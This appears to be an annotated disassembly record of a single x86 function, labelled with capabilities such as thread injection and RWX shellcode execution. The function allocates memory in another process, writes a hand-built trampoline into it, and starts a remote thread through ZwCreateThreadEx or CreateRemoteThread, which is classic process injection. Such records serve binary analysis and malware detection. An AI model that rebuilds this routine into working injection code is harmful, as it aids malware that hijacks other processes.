Function at 0x10007f48
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor eax, eax
push edi
push 8
pop ecx
mov ebx, dword [esi]
lea edi, [ebp - 0x30]
rep stosd dword es:[edi], eax
push esi
mov dword [ebp - 8], ebx
lfence
call fcn.10007e72
mov edi, dword [ebp + 8]
pop ecx
push 0x40
push 0x3000
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
push 0
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ebx
call ebx
mov ecx, eax
mov dword [ebp + 0xc], ecx
test ecx, ecx
jne 0x10007f9d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x1000815b
push 0
push dword [ebp - 8]
lea eax, [esi + 4]
push eax
push ecx
push edi
lfence
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x10007f92
push 4
push 0x3000
push dword [ebp + 0x10]
push 0
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x10007f92
push 0
push dword [ebp + 0x10]
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x10007f92
push 0x40
push 0x1000
push 0x20
push 0
push edi
call dword [ebp - 0x10]
mov esi, eax
mov dword [ebp - 0x10], esi
test esi, esi
je 0x10007f92
mov eax, dword [ebp - 0xc]
cmp eax, 0x40
jne 0x10008065
sub ebx, esi
mov dword [ebp - 0x30], 0x28ec8348
sub ebx, 0xb
mov word [ebp - 0x2c], 0x8d48
mov eax, ebx
mov byte [ebp - 0x29], bl
shr eax, 8
mov byte [ebp - 0x28], al
mov eax, ebx
shr ebx, 0x18
shr eax, 0x10
mov byte [ebp - 0x26], bl
mov ebx, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, esi
mov byte [ebp - 0x27], al
add ecx, 0xfffffff0
mov byte [ebp - 0x2a], 0xd
mov eax, ecx
mov byte [ebp - 0x24], cl
shr eax, 8
mov byte [ebp - 0x23], al
mov eax, ecx
shr eax, 0x10
shr ecx, 0x18
mov byte [ebp - 0x25], 0xe8
mov byte [ebp - 0x22], al
mov byte [ebp - 0x21], cl
mov dword [ebp - 0x20], 0x8348c033
mov word [ebp - 0x1c], 0x28c4
mov byte [ebp - 0x1a], 0xc3
jmp 0x100080b3
mov ecx, dword [ebp + 0xc]
sub ecx, esi
cmp eax, 0x20
jne 0x100080b0
mov eax, ebx
mov byte [ebp - 0x2f], bl
shr eax, 8
add ecx, 0xfffffff6
mov byte [ebp - 0x2e], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp - 0x2d], al
mov eax, ecx
shr eax, 8
mov byte [ebp - 0x29], al
mov eax, ecx
shr ebx, 0x18
shr eax, 0x10
mov byte [ebp - 0x2a], cl
shr ecx, 0x18
mov byte [ebp - 0x30], 0x68
mov byte [ebp - 0x2c], bl
mov byte [ebp - 0x2b], 0xe8
mov byte [ebp - 0x28], al
mov byte [ebp - 0x27], cl
mov byte [ebp - 0x26], 0xc3
mov ebx, dword [ebp + 0xc]
push 0
push 0x20
lea eax, [ebp - 0x30]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x10007f92
lea eax, [ebp - 4]
push eax
push 0x20
push 0x20
push esi
lfence
and dword [ebp - 4], 0
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
push edi
call esi
lea eax, [ebp - 4]
push eax
push 0x20
push dword [ebp - 8]
push ebx
push edi
call esi
mov eax, dword [ebp - 0xc]
cmp eax, 0x40
jne 0x10008132
or dword [ebp + 0xc], 0xffffffff
push str.ZwCreateThreadEx
push 0x1004ad0c
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x10008159
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push dword [ebp - 0x10]
push edi
push ecx
push 0x1fffff
lea ecx, [ebp + 0xc]
push ecx
call eax
jmp 0x10008159
cmp eax, 0x20
jne 0x10008159
xor eax, eax
push eax
push eax
push eax
push dword [ebp - 0x10]
push eax
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
test eax, eax
je 0x10007f92
cmp eax, 0xffffffff
je 0x10007f92
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret